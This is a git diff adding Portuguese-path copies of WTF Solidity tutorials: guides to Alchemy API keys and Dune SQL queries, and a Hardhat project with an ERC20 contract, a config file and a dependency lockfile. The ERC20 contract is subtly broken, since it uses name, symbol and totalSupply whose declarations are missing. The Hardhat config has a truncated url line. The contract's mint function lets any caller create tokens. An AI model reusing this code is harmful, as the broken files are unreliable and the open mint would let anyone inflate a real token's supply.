b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-2.png new file mode 100644 index 000000000..13077ecdf Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-2.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-3.png b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-3.png new file mode 100644 index 000000000..8e973f82a Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-3.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-4.png b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-4.png new file mode 100644 index 000000000..fd53f2972 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-4.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-5.png b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-5.png new file mode 100644 index 000000000..d29c6a9f4 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-5.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-6.png b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-6.png new file mode 100644 index 000000000..153951af7 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-6.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-7.png b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-7.png new file mode 100644 index 000000000..44f32a235 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-7.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-8.png b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-8.png new file mode 100644 index 000000000..11b46abf6 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-8.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-9.png b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-9.png new file mode 100644 index 000000000..95f24aa8c Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/img/alchemy-9.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/readme.md b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/readme.md new file mode 100644 index 000000000..c0ef57dbc --- /dev/null +++ b/Languages/pt-br/Topics/Tools/TOOL04_Alchemy/readme.md @@ -0,0 +1,116 @@ +# WTF Solidity Simplified Introduction - Tools Part 4: Alchemy, Blockchain API and Node Infrastructure + +I've been relearning Solidity recently, consolidating the details, and writing a "WTF Solidity Simplified Introduction" for beginners to use. I update it with 1-3 lessons every week. + +Feel free to follow me on Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Join the WTF Tech Community Discord, where you can find instructions on how to join the WeChat group: [link](https://discord.gg/5akcruXrsk) + +All code and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- +## What is Alchemy + +`Alchemy` is a super node that provides the most widely used blockchain API for Ethereum, Polygon, Solana, Arbitrum, Optimism, Flow, and Crypto.org. It offers all the features of a node, including JSON-RPC support, but with the reliability, data accuracy, and scalability required to run world-class applications on the blockchain. + +## Connecting Applications and the Blockchain + +Dapp applications developed on Ethereum (off-chain) need to interact with the blockchain (on-chain). In the early days, there was limited infrastructure on Ethereum, and developers had to deploy a local Ethereum node to complete off-chain and on-chain interactions, which was very cumbersome and time-consuming. + +Alchemy and Infura have built a bridge between off-chain and on-chain interactions, making it easier for developers. They provide users with instant and scalable API access to the Ethereum and IPFS networks. After registering on the Alchemy and Infura websites, developers can apply for a free Ethereum API key, which allows them to interact with the blockchain using their nodes. In addition, the MetaMask wallet has built-in Infura services, making it easy for users to access the Ethereum network. + +For an introduction to Infura, you can refer to [WTF Solidity Simplified Introduction - Tools Part 2: Infura, Connecting Off-Chain and On-Chain](../Topics/Tools/TOOL02_Infura/readme.md) + +## Differences Between Alchemy and Infura + +![Differences Between Alchemy and Infura](./img/alchemy-1.png) + +The left side is Alchemy, and the right side is Infura. Let's compare their free plans. + +### Difference in Usage Limits + +Alchemy has no daily usage limit, while Infura has a daily limit of 100,000 requests. + +Alchemy has a monthly usage limit of 300,000,000 requests, while Infura has a monthly limit of 3,000,000 requests. + +### Difference in Supported Public Chains (Free Version) + +![Difference in Supported Public Chains](./img/alchemy-2.png) + +Alchemy supports: ETH, Polygon, Solana, Arbitrum, Optimism. + +Infura supports: ETH, ETH2, IPFS, Filecoin. + +### Alchemy Supports Enhanced APIs + +![Alchemy Supports Enhanced APIs](./img/alchemy-3.png) + +Alchemy has its own set of enhanced web3 APIs. You can refer to the documentation for more details. + +[Alchemy - Enhanced APIs](https://dashboard.alchemyapi.io/enhanced-apis) + +## Creating an Alchemy API Key + +### 1. Open the Alchemy website and register + +Website: [alchemy.com](https://www.alchemy.com/) + +![Alchemy Website](./img/alchemy-4.png) + +### 2. Create an API Key +After registering, go to the Dashboard and click the **+ CREATE APP** button in the top right corner. + +![Create API Key](./img/alchemy-5.png) + +### 3. Fill in the API Key information + +`CHAIN`: Select the network you need. For Ethereum, it would be `Ethereum`. + +`NETWORK`: Choose whether it's the mainnet or a testnet. + +![Fill in API Key information](./img/alchemy-6.png) + +After filling in the information, click **CREATE APP** to create the API Key. + +### 4. API Key created + +Go back to the Dashboard, and you will see that the API Key named `WTFSolidity` has been created. In the Dashboard, click the **view key** button to view the details of the API Key. + +![View API Key](./img/alchemy-7.png) + +### 5. View API Key details + +You can see that we have created the corresponding API Key, and both HTTPS and WebSockets are supported. + +![View API Key details](./img/alchemy-8.png) + +## Using the Alchemy API Key + +### JavaScript (`ethers.js`) +In `ethers.js`, we can use the Alchemy API Key to create a `JsonRpcProvider` for interacting with the blockchain. + +```javascript +const { ethers } = require("ethers"); +// Replace with your Alchemy API Key +const ALCHEMY_ID = '' +const provider = new ethers.providers.JsonRpcProvider(`https://eth-mainnet.g.alchemy.com/v2/${ALCHEMY_ID}`) +``` + +### MetaMask Wallet + +Go to the Settings page in the MetaMask wallet and click on **Networks**. Click on **Add Network** to add the Alchemy ETH chain to MetaMask using the following parameters: + +``` +Network Name: Alchemy-eth +RPC URL: Fill in the Alchemy RPC URL you obtained +Chain ID: 1 +Currency Symbol: ETH +Block Explorer URL: https://etherscan.io +``` + +![Adding a new network in MetaMask](./img/alchemy-9.png) + +## Summary + +In this lesson, we introduced how to create and use an Alchemy API Key to conveniently access the Ethereum blockchain. + diff --git a/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/1.png b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/1.png new file mode 100644 index 000000000..c690860d4 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/1.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/10.png b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/10.png new file mode 100644 index 000000000..57e22eed2 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/10.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/11.png b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/11.png new file mode 100644 index 000000000..38b78539d Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/11.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/12.png b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/12.png new file mode 100644 index 000000000..4bd971d98 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/12.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/13.png b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/13.png new file mode 100644 index 000000000..8e4242e6b Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/13.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/14.png b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/14.png new file mode 100644 index 000000000..8adc1ee25 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/14.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/15.png b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/15.png new file mode 100644 index 000000000..bd9c049f4 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/15.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/16.png b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/16.png new file mode 100644 index 000000000..2e3b79cce Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/16.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/2.png b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/2.png new file mode 100644 index 000000000..7e009f8b9 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/2.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/3.png b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/3.png new file mode 100644 index 000000000..161ce97bd Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/3.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/6.png b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/6.png new file mode 100644 index 000000000..51425ac43 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/6.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/7.png b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/7.png new file mode 100644 index 000000000..fa8dff9d3 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/7.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/8.png b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/8.png new file mode 100644 index 000000000..d49ed004f Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/8.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/9.png b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/9.png new file mode 100644 index 000000000..a0e6ded89 Binary files /dev/null and b/Languages/pt-br/Topics/Tools/TOOL05_Dune/img/9.png differ diff --git a/Languages/pt-br/Topics/Tools/TOOL05_Dune/readme.md b/Languages/pt-br/Topics/Tools/TOOL05_Dune/readme.md new file mode 100644 index 000000000..8e299fa3f --- /dev/null +++ b/Languages/pt-br/Topics/Tools/TOOL05_Dune/readme.md @@ -0,0 +1,154 @@ +# WTF Solidity Simplified Introduction - Tool 5: Using Dune for Visualizing Blockchain Data + +Recently, I've been relearning Solidity to reinforce the details and write a "WTF Solidity Simplified Introduction" for beginners. I will update it with 1-3 lessons per week. + +Feel free to follow me on Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Join the WTF Tech Community Discord, where you can find instructions to join the WeChat group: [Link](https://discord.gg/5akcruXrsk) + +All the code and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- +## What is Dune? + +`Dune` is a blockchain query and analysis tool that allows you to query all the information on the blockchain using a SQL-like language, such as whale data, on-chain transaction data, and more. Additionally, `Dune` can easily convert data into visual charts. + +> Ethereum is a database, smart contracts are tables, and transactions from wallets are rows in each table. + +This statement captures the essence of blockchain: it is essentially a publicly accessible distributed ledger for storing data, and now we can use Dune to query this distributed ledger. + +[Dune Official Website](https://dune.xyz/) + +![Dune Visualization](./img/1.png) + +![Dune Visualization](./img/2.png) + + +## First Query + +Goal: Query the **amount of DAI stablecoin purchased on Uniswap in the past 24 hours** + +1. Register and log in to Dune. +2. Click on **new query** in the top right corner to create a new query and enter the following code: + + ```sql + SELECT + SUM(token_a_amount) AS dai_bought + FROM + dex."trades" + WHERE + block_time > now() - interval '24 hours' + AND token_a_symbol = 'DAI' + AND project = 'Uniswap'; + ``` +3. Click on **Run** in the bottom right corner to execute the query and get the amount of DAI purchased through Uniswap in the last 24 hours. + +![Dune SQL Query](./img/3.png) + + +## Building a Query from Scratch + +**Goal: Learn how to use SELECT, WHERE, and LIMIT** + +Let's query one of the tables, using Aave as an example: [Aave Contract](https://etherscan.io/address/0x398ec7346dcd622edc5ae82352f02be94c62d119#writeProxyContract) + +By querying the Aave contract, we can see that it has a deposit method (for storing) and an associated event (which is broadcasted when executed). + +![Etherscan](./img/6.png) + +Go back to Dune and search for the corresponding table by searching for Aave-related tables on Ethereum and matching the event, `LendingPool_evt_Deposit`. + +![Dune Query DB Table](./img/13.png) + +### Learning: SELECT, LIMIT, and WHERE to Query Data + +Now we can query the corresponding stored data using Dune. + +```sql +SELECT * FROM aave."LendingPool_evt_Deposit" +limit 100 +``` + +![Dune Query](./img/7.png) + +This will give us the corresponding data for the storage method in the Aave contract. With this data, we can apply some filters. + +#### Meaning of Each Field + +_user: The wallet address that initiated the deposit. + +_reserve: The token address used as collateral. + +_amount: The amount of tokens deposited. + +_timestamp: The timestamp when the transaction was mined on the blockchain. + + +#### Filtering Data Using WHERE + +Querying for a specific address `0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee` + +```sql +SELECT *, (_amount / 1e18) as _amount FROM aave."LendingPool_evt_Deposit" +WHERE _reserve = '\xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee' +limit 100 +``` + +By adding a query condition, we can quickly filter the data we need. + +To view deposits with USDC as collateral, use the USDC contract address: `xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48` + +```sql +SELECT * FROM aave."LendingPool_evt_Deposit" +WHERE _reserve = '\xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48' +limit 100 +``` + +The above examples are referenced from [Your guide to basic SQL while learning Ethereum at the same time](https://towardsdatascience.com/your-guide-to-basic-sql-while-learning-ethereum-at-the-same-time-9eac17a05929) + +### Practicing On-Chain Transfers + +Practice querying transfers in the `Ethereum.Transactions` table. + +```sql +select * from ethereum.transactions +LIMIT 10 +``` + +![Dune Panel Explanation](./img/14.png) + +### Field and Transfer Correspondence Explanation + +Take this [hash](https://etherscan.io/tx/0xfa69f5eb0218f56ae602ef7f01588d9193a891e6fe7ba7e1c3994075a689bb51) transfer as an example. + +![image-20220314174346876](./img/16.png) + +The transfer is from [0x22fff189c37302c02635322911c3b64f80ce7203](https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7?a=0x22fff189c37302c02635322911c3b64f80ce7203) to [0x8aae242452471d2dfea145214ceedf87ca043198](https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7?a=0x8aae242452471d2dfea145214ceedf87ca043198) + +Hash: `0xfa69f5eb0218f56ae602ef7f01588d9193a891e6fe7ba7e1c3994075a689bb51` + +We can directly query this information using Dune. + +```sql +select * from ethereum.transactions +WHERE hash='\xfa69f5eb0218f56ae602ef7f01588d9193a891e6fe7ba7e1c3994075a689bb51' +``` + +![Dune Query](./img/15.png) + +The fields in Dune correspond to those in Etherscan. + +### Data Visualization + +![Dune Query to Visualization](./img/11.png) + +Click on New visualization to choose the desired view. For example, I clicked on bar chart. + +![Dune Visualization](./img/12.png) + +This will visualize the data I just filtered. The longest bars represent the accounts with the highest borrowing amounts. + +## Summary + +In this lesson, we introduced the basics of using Dune. With Dune, we can convert on-chain data into visualized data, allowing us to better understand the hotspots on the blockchain. + diff --git a/Languages/pt-br/Topics/Tools/TOOL06_Hardhat/contracts/ERC20.sol b/Languages/pt-br/Topics/Tools/TOOL06_Hardhat/contracts/ERC20.sol new file mode 100644 index 000000000..ad0f991c4 --- /dev/null +++ b/Languages/pt-br/Topics/Tools/TOOL06_Hardhat/contracts/ERC20.sol @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: MIT +// WTF Solidity por 0xAA + +pragma solidity ^0.8.21; + +import "./IERC20.sol"; + +contract ERC20 is IERC20 { + + mapping(address => uint256) public override balanceOf; + + mapping(address => mapping(address => uint256)) public override allowance; + + // Fornecimento total de tokens + + // Nome + // Símbolos + + // Número de casas decimais + + // @dev Implement contract name and symbol during contract deployment + constructor(string memory name_, string memory symbol_){ + name = name_; + symbol = symbol_; + } + + // @dev Implement the `transfer` function, logic for token transfer + function transfer(address recipient, uint amount) external override returns (bool) { + balanceOf[msg.sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(msg.sender, recipient, amount); + return true; + } + + // @dev Implement the `approve` function, token authorization logic + function approve(address spender, uint amount) external override returns (bool) { + allowance[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + return true; + } + + // @dev Implement the `transferFrom` function, which handles token transfer with authorization + function transferFrom( + address sender, + address recipient, + uint amount + ) external override returns (bool) { + allowance[sender][msg.sender] -= amount; + balanceOf[sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(sender, recipient, amount); + return true; + } + + // @dev Cunhar tokens e transferir do endereço `0` para o endereço do chamador + function mint(uint amount) external { + balanceOf[msg.sender] += amount; + totalSupply += amount; + emit Transfer(address(0), msg.sender, amount); + } + + // @dev Destruir tokens, transferindo-os do endereço do chamador para o endereço `0` + function burn(uint amount) external { + balanceOf[msg.sender] -= amount; + totalSupply -= amount; + emit Transfer(msg.sender, address(0), amount); + } + +} diff --git a/Languages/pt-br/Topics/Tools/TOOL06_Hardhat/contracts/IERC20.sol b/Languages/pt-br/Topics/Tools/TOOL06_Hardhat/contracts/IERC20.sol new file mode 100644 index 000000000..e96da94f5 --- /dev/null +++ b/Languages/pt-br/Topics/Tools/TOOL06_Hardhat/contracts/IERC20.sol @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +// WTF Solidity por 0xAA + +pragma solidity ^0.8.21; + +/** + * @dev Contrato de interface ERC20. + */ +interface IERC20 { + /** + * @dev Condição de liberação: quando a moeda em unidades `value` é transferida de uma conta (`from`) para outra conta (`to`). + */ + event Transfer(address indexed from, address indexed to, uint256 value); + + /** + * @dev Condição de liberação: quando a moeda em unidades `value` é transferida da conta (`owner`) para outra conta (`spender`). + */ + event Approval(address indexed owner, address indexed spender, uint256 value); + + /** + * @dev Retorna o fornecimento total de tokens. + */ + function totalSupply() external view returns (uint256); + + /** + * @dev Retorna a quantidade de tokens que a conta `account` possui. + */ + function balanceOf(address account) external view returns (uint256); + + /** + * @dev Transferir `amount` unidades de token da conta do chamador para a conta `to`. + * + * Se for bem-sucedido, retorna `true`. + * + * Emite o evento {Transfer}. + */ + function transfer(address to, uint256 amount) external returns (bool); + + /** + * @dev Retorna a quantidade de tokens que o titular da conta `owner` autorizou o titular da conta `spender` a gastar, que por padrão é 0. + * + * A permissão de gasto é alterada quando {approve} ou {transferFrom} são chamados. + */ + function allowance(address owner, address spender) external view returns (uint256); + + /** + * @dev O chamador da conta autoriza a conta `spender` a gastar `amount` tokens. + * + * Retorna `true` se for bem-sucedido. + * + * Emite o evento {Approval}. + */ + function approve(address spender, uint256 amount) external returns (bool); + + /** + * @dev Transfere `amount` de tokens da conta `from` para a conta `to`, utilizando o mecanismo de autorização. A quantidade transferida será deduzida da permissão do chamador. + * + * Retorna `true` se a transferência for bem-sucedida. + * + * Emite o evento {Transfer}. + */ + function transferFrom( + address from, + address to, + uint256 amount + ) external returns (bool); +} \ No newline at end of file diff --git a/Languages/pt-br/Topics/Tools/TOOL06_Hardhat/hardhat.config.js b/Languages/pt-br/Topics/Tools/TOOL06_Hardhat/hardhat.config.js new file mode 100644 index 000000000..40408ee6a --- /dev/null +++ b/Languages/pt-br/Topics/Tools/TOOL06_Hardhat/hardhat.config.js @@ -0,0 +1,14 @@ +require("@nomicfoundation/hardhat-toolbox"); +/** @type import('hardhat/config').HardhatUserConfig */ +module.exports = { + solidity: "0.8.17", + networks: { + goerli: { + //eth-goerli.g.alchemy.com/v2/API_KEY", + accounts: ["PRIVATE_KEY"], + }, + }, + etherscan: { + apiKey: "YOUR_ETHERSCAN_API_KEY", + }, +}; diff --git a/Languages/pt-br/Topics/Tools/TOOL06_Hardhat/package-lock.json b/Languages/pt-br/Topics/Tools/TOOL06_Hardhat/package-lock.json new file mode 100644 index 000000000..b9143d172 --- /dev/null +++ b/Languages/pt-br/Topics/Tools/TOOL06_Hardhat/package-lock.json @@ -0,0 +1,15365 @@ +{ + "name": "tool06_hardhat", + "version": "1.0.0", + "lockfileVersion": 2, + "requires": true, + "packages": { + "": { + "name": "tool06_hardhat", + "version": "1.0.0", + "license": "ISC", + "devDependencies": { + "@nomicfoundation/hardhat-toolbox": "^2.0.0", + "hardhat": "^2.11.2" + } + }, + "node_modules/@cspotcode/source-map-support": { + "version": "0.8.1", + "resolved": "https://registry.npmmirror.com/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz", + "integrity": "sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw==", + "dev": true, + "peer": true, + "dependencies": { + "@jridgewell/trace-mapping": "0.3.9" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@ethersproject/abi": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/abi/-/abi-5.7.0.tgz", + "integrity": "sha512-351ktp42TiRcYB3H1OP8yajPeAQstMW/yCFokj/AthP9bLHzQFPlOrxOcwYEDkUAICmOHljvN4K39OMTMUa9RA==", + "dev": true, + "dependencies": { + "@ethersproject/address": "^5.7.0", + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/constants": "^5.7.0", + "@ethersproject/hash": "^5.7.0", + "@ethersproject/keccak256": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/strings": "^5.7.0" + } + }, + "node_modules/@ethersproject/abstract-provider": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/abstract-provider/-/abstract-provider-5.7.0.tgz", + "integrity": "sha512-R41c9UkchKCpAqStMYUpdunjo3pkEvZC3FAwZn5S5MGbXoMQOHIdHItezTETxAO5bevtMApSyEhn9+CHcDsWBw==", + "dev": true, + "dependencies": { + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/networks": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/transactions": "^5.7.0", + "@ethersproject/web": "^5.7.0" + } + }, + "node_modules/@ethersproject/abstract-signer": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/abstract-signer/-/abstract-signer-5.7.0.tgz", + "integrity": "sha512-a16V8bq1/Cz+TGCkE2OPMTOUDLS3grCpdjoJCYNnVBbdYEMSgKrU0+B90s8b6H+ByYTBZN7a3g76jdIJi7UfKQ==", + "dev": true, + "dependencies": { + "@ethersproject/abstract-provider": "^5.7.0", + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/properties": "^5.7.0" + } + }, + "node_modules/@ethersproject/address": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/address/-/address-5.7.0.tgz", + "integrity": "sha512-9wYhYt7aghVGo758POM5nqcOMaE168Q6aRLJZwUmiqSrAungkG74gSSeKEIR7ukixesdRZGPgVqme6vmxs1fkA==", + "dev": true, + "dependencies": { + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/keccak256": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/rlp": "^5.7.0" + } + }, + "node_modules/@ethersproject/base64": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/base64/-/base64-5.7.0.tgz", + "integrity": "sha512-Dr8tcHt2mEbsZr/mwTPIQAf3Ai0Bks/7gTw9dSqk1mQvhW3XvRlmDJr/4n+wg1JmCl16NZue17CDh8xb/vZ0sQ==", + "dev": true, + "dependencies": { + "@ethersproject/bytes": "^5.7.0" + } + }, + "node_modules/@ethersproject/basex": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/basex/-/basex-5.7.0.tgz", + "integrity": "sha512-ywlh43GwZLv2Voc2gQVTKBoVQ1mti3d8HK5aMxsfu/nRDnMmNqaSJ3r3n85HBByT8OpoY96SXM1FogC533T4zw==", + "dev": true, + "peer": true, + "dependencies": { + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/properties": "^5.7.0" + } + }, + "node_modules/@ethersproject/bignumber": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/bignumber/-/bignumber-5.7.0.tgz", + "integrity": "sha512-n1CAdIHRWjSucQO3MC1zPSVgV/6dy/fjL9pMrPP9peL+QxEg9wOsVqwD4+818B6LUEtaXzVHQiuivzRoxPxUGw==", + "dev": true, + "dependencies": { + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "bn.js": "^5.2.1" + } + }, + "node_modules/@ethersproject/bytes": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/bytes/-/bytes-5.7.0.tgz", + "integrity": "sha512-nsbxwgFXWh9NyYWo+U8atvmMsSdKJprTcICAkvbBffT75qDocbuggBU0SJiVK2MuTrp0q+xvLkTnGMPK1+uA9A==", + "dev": true, + "dependencies": { + "@ethersproject/logger": "^5.7.0" + } + }, + "node_modules/@ethersproject/constants": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/constants/-/constants-5.7.0.tgz", + "integrity": "sha512-DHI+y5dBNvkpYUMiRQyxRBYBefZkJfo70VUkUAsRjcPs47muV9evftfZ0PJVCXYbAiCgght0DtcF9srFQmIgWA==", + "dev": true, + "dependencies": { + "@ethersproject/bignumber": "^5.7.0" + } + }, + "node_modules/@ethersproject/contracts": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/contracts/-/contracts-5.7.0.tgz", + "integrity": "sha512-5GJbzEU3X+d33CdfPhcyS+z8MzsTrBGk/sc+G+59+tPa9yFkl6HQ9D6L0QMgNTA9q8dT0XKxxkyp883XsQvbbg==", + "dev": true, + "peer": true, + "dependencies": { + "@ethersproject/abi": "^5.7.0", + "@ethersproject/abstract-provider": "^5.7.0", + "@ethersproject/abstract-signer": "^5.7.0", + "@ethersproject/address": "^5.7.0", + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/constants": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/transactions": "^5.7.0" + } + }, + "node_modules/@ethersproject/hash": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/hash/-/hash-5.7.0.tgz", + "integrity": "sha512-qX5WrQfnah1EFnO5zJv1v46a8HW0+E5xuBBDTwMFZLuVTx0tbU2kkx15NqdjxecrLGatQN9FGQKpb1FKdHCt+g==", + "dev": true, + "dependencies": { + "@ethersproject/abstract-signer": "^5.7.0", + "@ethersproject/address": "^5.7.0", + "@ethersproject/base64": "^5.7.0", + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/keccak256": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/strings": "^5.7.0" + } + }, + "node_modules/@ethersproject/hdnode": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/hdnode/-/hdnode-5.7.0.tgz", + "integrity": "sha512-OmyYo9EENBPPf4ERhR7oj6uAtUAhYGqOnIS+jE5pTXvdKBS99ikzq1E7Iv0ZQZ5V36Lqx1qZLeak0Ra16qpeOg==", + "dev": true, + "peer": true, + "dependencies": { + "@ethersproject/abstract-signer": "^5.7.0", + "@ethersproject/basex": "^5.7.0", + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/pbkdf2": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/sha2": "^5.7.0", + "@ethersproject/signing-key": "^5.7.0", + "@ethersproject/strings": "^5.7.0", + "@ethersproject/transactions": "^5.7.0", + "@ethersproject/wordlists": "^5.7.0" + } + }, + "node_modules/@ethersproject/json-wallets": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/json-wallets/-/json-wallets-5.7.0.tgz", + "integrity": "sha512-8oee5Xgu6+RKgJTkvEMl2wDgSPSAQ9MB/3JYjFV9jlKvcYHUXZC+cQp0njgmxdHkYWn8s6/IqIZYm0YWCjO/0g==", + "dev": true, + "peer": true, + "dependencies": { + "@ethersproject/abstract-signer": "^5.7.0", + "@ethersproject/address": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/hdnode": "^5.7.0", + "@ethersproject/keccak256": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/pbkdf2": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/random": "^5.7.0", + "@ethersproject/strings": "^5.7.0", + "@ethersproject/transactions": "^5.7.0", + "aes-js": "3.0.0", + "scrypt-js": "3.0.1" + } + }, + "node_modules/@ethersproject/keccak256": { + "version": "5.7.0", + "resolved": 